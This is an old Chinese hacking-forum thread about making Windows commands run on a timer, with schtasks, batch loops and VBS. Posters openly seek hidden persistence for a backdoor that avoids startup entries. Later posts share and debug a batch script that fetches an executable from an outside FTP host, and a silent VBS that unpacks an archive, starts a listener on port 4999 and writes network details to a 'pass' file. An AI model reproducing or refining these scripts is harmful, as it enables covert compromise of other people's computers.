发新话题
打印

[讨论]如何定义一个命令20分钟后运行?

引用:
下面是引用夔舟于06-04-2005 04:06发表的:
在这里也学到了不少的东西,有时看贴忍不住灌点水!冰血不会怪我吧,这贴发了!
以前在不知在哪里看到关于一个可以取代at命令的另一个命令。昨天发贴时记不全这个单词了,白天翻了一下我以前记的资料,找到了原来是Schtasks命令。自己思考了一下得出:
schtasks /create /sc minute /mo 20 /tn "wupdmgr" /tr c:Windowssystem32wupdmgr.exe。创建一个每20分钟后自动运行 c:Windowssystem32目录下wupdmgr.exe启动的任务,计划任务名为wupdmgr。
上面的朋友,我在本地测了一下你的方法,但是同时也遇到问题.测试环境:XPSP2
F:\>schtasks /create /sc minute /mo 20 /tn "cmd" /tr c:\Windows\system32\cmd.exe
任务将创建于当前登录的用户名("PWQ-62137C31B44\pwq")下。
请输入 PWQ-62137C31B44\pwq 的密码: ************

警告: 计划任务 "cmd" 已经创建,但可能没有运行,因为没有运行任务计划程序服务。

在没有开计划任务的情况下,这一条命令是无效的,而且运行时还要提示输入密码.这一点对于留置后门的作用不是很大.

另:在2000下测试结果
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>schtasks /create /sc minute /mo 20 /tn "wupdmgr" /tr c:\Windows\system32\wupdmgr.exe
'schtasks' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
不知道2000下的这条命令是什么?

另:XPSP1下,用户名为空的情况:
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

E:\WINDOWS\system32>schtasks /create /sc minute /mo 20 /tn "wupdmgr" /tr c:\Windows\system32\wupdmgr.exe
任务将创建于当前登录的用户名("LJ-A7ENGR4PY7XT\lj")下。
请输入 LJ-A7ENGR4PY7XT\lj 的密码: 警告: 如果 run as 密码为空,由于安全策略,计划的任务可能不能运行
成功: 成功创建计划任务 "wupdmgr"。
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

楼上的不错啊  测试了这么多 辛苦了!!!

TOP

另有一点请教大家:

同样不许用AT和计划任务,如何定义一个文件每天运行一次呢,如果是用楼上的朋友的批处理和VBS,只能执行一次,不能达到每天执行的结果.
小弟实在想不出别的方法,达到这个效果,特向各位大虾们请教!!!!
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

echo **************************
echo 例子: go /every:1,3,5,7,9 18:00 test.exe
echo 现在时间:
time /t

呵呵 就运行了啊

TOP

定时运行批处 netpatch版 ^_^
@echo off
if "%1"=="" goto use
if "%2"=="" goto use
:go
echo.|time|find "%1"
if errorlevel 1 goto go
start %2
goto exit
:use
echo **************************
echo 例子: go 18:00 test.exe
echo 现在时间:
time /t
echo **************************
echo.
echo.
cmd
:exit

把以上代码保存为go.bat即可
注释我就不加了,你们应该看的懂



这个帖子有点问题 确实没运行

TOP

引用:
下面是引用十三豆子于06-20-2005 20:56发表的:
另有一点请教大家:

同样不许用AT和计划任务,如何定义一个文件每天运行一次呢,如果是用楼上的朋友的批处理和VBS,只能执行一次,不能达到每天执行的结果.
小弟实在想不出别的方法,达到这个效果,特向各位大虾们请教!!!!
同样可以用vbs。比如要在每天12:00左右执行:

’on error resume next
set shell=createobject("wscript.shell")
do
if mid(now,11,2)>12 and mid(now,11,2)<13 then ’之所以要限制小于13是因为万一你开机就是1点过后呢?
shell.run "cmd /c 命令",0
wscript.quit
end if
wscript.sleep 1000*60*20 ’要想精确一点就把这里改小。
Loop

让以上vbs文件开机自启动就行了。
You're my FF~, forever~ ^_^

TOP

回楼上,就是因为不能放在自启动里啊,兄弟还有办法吗.
放在自启动里,明眼人一眼就看出来了,达不到隐藏的效果.
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

既然大家都写了,我也写一点吧.

太极端的情况下是这样的了,用bat解决,不过不用bat循环似乎有更好的方法,我记得哪个命令可以延迟一段时间,不过现在忘记了.等以后记得再写.

其他的我就不写了,写一段动态获得时间的,这样就可以不要指定时间了.^_^.

:这里设置多少分钟后执行
set st=20
set time=%TIME%
set /A hour=(%time:~0,2% + ((%time:~3,2% + %st%)/60))%%24
set /A mins=(%time:~3,2% + %st%)%%60
:下面的time变量就是相对于现在时间20分钟后的时间了.
set time=%hour%:%mins%
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

bat里有命令可以延时?
我之所以推崇用vbs解决就是因为vbs有个wscript.sleep。bat不仅要弹个窗口出来而且要是用死循环来延时的话耗费资源是很厉害的,我更情愿用ping来延时。:)

To 十三豆子朋友
不能放在自启动里?你是指不能放在“启动文件夹”中还是指通过写注册表、替换服务等等来使vbs自启动都不行?
You're my FF~, forever~ ^_^

TOP

vbs 缺点就是 有的机子上没有安装vbs脚本 的
我是中国人, 我热爱自己的祖国 .我愿意为我的祖国付出一切, 包括自己的生命!

TOP

引用:
下面是引用火焰于07-03-2005 17:07发表的:
vbs 缺点就是 有的机子上没有安装vbs脚本 的
不是吧,运行vbs脚本还用安什么吗?wscript.exe和cscript.exe不是系统自带的吗?
You're my FF~, forever~ ^_^

TOP

议题提交:怎么把choice的错误码传递给if errorlevel啊
@echo off
:begin
choice /c 123 /t 5 /m "1.tftp. 2.ftp. 3.exit"
if errorlevel 1 goto begin
if errorlevel 2 goto why
if errorlevel 3 goto exit
:why
echo prc.yes!!!
:exit
exit
这样为什么不行呢?高手帮帮忙啊 [s:54]
QQ:276083082

TOP

我记得好象是必须判断数值最高的错误码,试试这样写:
if errorlevel 3 goto begin
if errorlevel 2 goto why
if errotlevel 1 goto exit
如果还不行的话,可能是第一句有问题,因为我记得好象是这格式:
choice /tfe tftp,ftp,exit

很抱歉我没办法帮你试,因为我用的是XP,上面根本没choice命令。
You're my FF~, forever~ ^_^

TOP

奥,是的我成功了。谢谢大哥咯
QQ:276083082

TOP

这个:

ftp prc.go2.icpcn.com
user
prc
123456
get /hacker/rad.exe
bye

像这样一个批处理,为什么不行,郁闷 》/
QQ:276083082

TOP

因为第二行开始的命令都要等退出了ftp后才执行,所以不会成功。试试在bat中这样写:
echo open prc.go2.icpcn.com>tmp.txt
echo prc>>tmp.txt
echo 123456>>tmp.txt
echo binary>>tmp.txt
echo cd hacker>>tmp.txt
echo get rad.exe>>tmp.txt
echo bye>>tmp.txt
ftp -s:tmp.txt
del tmp.txt

注意了:ftp中好象是要区分大小写的,也就说如果你的程序是rAd.exe那么你get rad.exe就可能不会成功。同样如果目录名是Hacker那cd hacker也不会成功。
You're my FF~, forever~ ^_^

TOP

啊,是的啊,问题解决了^_^

嘻嘻。。
QQ:276083082

TOP

议题提交:还有这个大哥:编译器老是出错
dim wsh  
set wsh=CreateObject("WScript.Shell")
wsh.run "c:\progra~1\winrar\rar.exe x %windir%\temp\pass.rar %windir%\temp\",0
wsh.run "%windir%\temp\HTTP.exe 4999",0
wsh.run "ipconfig | find "IP Address" >> %windir%\temp\ADSLPASS.txt",0

问题太多了 呵呵,  大哥你是哪人,我 &河南
QQ:276083082

TOP

是vbs脚本,,好像地三行的问题,郁闷
QQ:276083082

TOP

呵呵,你问题果然很多呀。你这样不停地在这儿问不怕冰血以偏题的罪名把你的帖子删了?:)
wsh.run不能直接跟cmd中的命令的,改成这样:

set wsh=CreateObject("WScript.Shell")
wsh.run "cmd /c c:\progra~1\winrar\rar.exe x %windir%\temp\pass.rar %windir%\temp\",0
wsh.run "cmd /c %windir%\temp\HTTP.exe 4999",0
wsh.run "cmd /c ipconfig | find "&IP_Address&" >> %windir%\temp\ADSLPASS.txt",0

不仅加了cmd /c,第5行也有问题(我猜测你的IP Address是个变量),我给你加了"&",连接字符串用的。IP Address好象不符合变量命名规则。我改成了IP_Address。

我四川Di。
You're my FF~, forever~ ^_^

TOP

唉 "&"连接字符串么 ? 我不懂 [s:53]
好像 echo echo abcdefghijk.... >> 1.txt >>2.txt 这样子就会不行 。。

不过还是学了不少 呵呵
QQ:276083082

TOP

引用:
下面是引用prc于07-04-2005 09:44发表的:
这个:

ftp prc.go2.icpcn.com
user
prc
.......
-------------------------
默认FTP下载是以二进制下载文件
要想下下来的EXE可以用,要在GET前加一个BIN
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

引用:
下面是引用prc于07-04-2005 12:57发表的:
唉 "&"连接字符串么 ? 我不懂 [s:53]
好像 echo echo abcdefghijk.... >> 1.txt >>2.txt 这样子就会不行 。。

不过还是学了不少 呵呵
另,ECHO命令,你上面的这句是错的,自己搜一下命令就知道了.
比如上面想写>进去,必需要在前面加^>这样才行.
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

十三豆子的意思是用这个命令:
echo echo abcdefghijk.... ^>^>a1.txt >>a2.txt
就可以成功了。也就是在“假”的“>”和“<”前一律都得加上“^”

To 十三豆子朋友:
你以前提出的那个问题
“同样不许用AT和计划任务,如何定义一个文件每天运行一次呢,如果是用楼上的朋友的批处理和VBS,只能执行一次,不能达到每天执行的结果.
小弟实在想不出别的方法,达到这个效果,特向各位大虾们请教!!!!”

找到解决方法了没有啊?找到了麻烦告之在下,谢谢了。:)
You're my FF~, forever~ ^_^

TOP

我也一直在想这个问题,因为如果写VBS放在启动项的话,那就没有必要那么麻烦,不如直接放个马,放在启动项里就行.仍然不能做到隐藏后门,所以,放在启动项,在下认为不是好办法.
这个问题,只能等高手来解答了.
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

发新话题